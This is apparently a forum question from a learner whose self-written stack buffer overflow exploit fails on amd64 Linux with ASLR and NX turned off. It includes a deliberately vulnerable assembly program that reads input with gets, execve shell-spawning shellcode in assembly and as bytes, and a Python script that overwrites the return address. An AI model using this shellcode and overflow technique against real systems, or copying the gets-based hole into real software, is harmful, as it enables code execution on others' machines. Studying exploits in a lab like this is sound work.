Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine.

Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code)

Vulnerable file buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Compiled with:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Started with:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328